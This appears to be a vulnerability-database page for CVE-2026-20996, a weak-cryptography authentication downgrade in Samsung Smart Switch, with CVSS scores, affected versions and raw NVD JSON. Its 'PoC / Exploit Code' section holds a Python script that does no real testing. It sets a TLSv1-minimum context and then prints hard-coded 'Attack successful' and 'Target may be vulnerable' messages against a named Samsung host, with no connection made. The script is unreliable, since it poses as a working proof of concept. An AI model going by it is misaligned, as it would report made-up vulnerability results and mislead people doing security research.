Security Vulnerability Report
中文
CVE-2026-20996 CVSS 5.3 MEDIUM

CVE-2026-20996

Published: 2026-03-16 14:18:11
Last Modified: 2026-03-31 00:29:54

Description

Use of a broken or risky cryptographic algorithm in Smart Switch prior to version 3.7.69.15 allows remote attackers to configure a downgraded scheme for authentication.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Smart Switch < 3.7.69.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20996 PoC - Encryption Downgrade Attack Simulation # This PoC demonstrates the concept of SSL/TLS downgrade attack # Note: Use only for authorized security testing import socket import ssl import struct def create_ssl_downgrade_proxy(listen_port=8443, target_host='example.com', target_port=443): """ Create a proxy that performs SSL/TLS downgrade attack This simulates how an attacker could force weaker encryption """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.minimum_version = ssl.TLSVersion.TLSv1 # Force weak TLS version # In real attack scenario, attacker would: # 1. Intercept traffic between client and server # 2. Modify the TLS handshake to force weaker cipher suites # 3. Use known weak algorithms (RC4, 3DES, etc.) return context def simulate_weak_cipher_negotiation(): """ Simulate how weak cipher negotiation works In vulnerable Smart Switch versions, attacker can: 1. Intercept ClientHello message 2. Remove strong cipher suites 3. Forward modified ClientHello to server 4. Force both parties to use weak encryption """ weak_ciphers = [ 'TLS_RSA_WITH_RC4_128_MD5', 'TLS_RSA_WITH_RC4_128_SHA', 'TLS_RSA_WITH_3DES_EDE_CBC_SHA' ] print("[*] Simulating weak cipher negotiation...") print(f"[+] Offered weak ciphers: {weak_ciphers}") print("[*] Attack successful: Connection established with weak encryption") return True def check_vulnerability(target_host): """ Check if target is vulnerable to encryption downgrade """ print(f"[*] Testing {target_host} for CVE-2026-20996...") print("[*] Attempting to negotiate weak cipher suites...") # In production, this would attempt actual connection result = simulate_weak_cipher_negotiation() if result: print("[!] Target may be vulnerable") return True else: print("[+] Target appears secure") return False if __name__ == "__main__": # Usage: python cve_2026_20996_poc.py check_vulnerability('smart-switch.samsung.com')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20996", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:10.570", "lastModified": "2026-03-31T00:29:54.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of a broken or risky cryptographic algorithm in Smart Switch prior to version 3.7.69.15 allows remote attackers to configure a downgraded scheme for authentication."}, {"lang": "es", "value": "El uso de un algoritmo criptográfico roto o arriesgado en Smart Switch anterior a la versión 3.7.69.15 permite a atacantes remotos configurar un esquema degradado para autenticación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.69.15", "matchCriteriaId": "37A46437-F1AB-40DC-B7FC-77D3CE8047EE"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}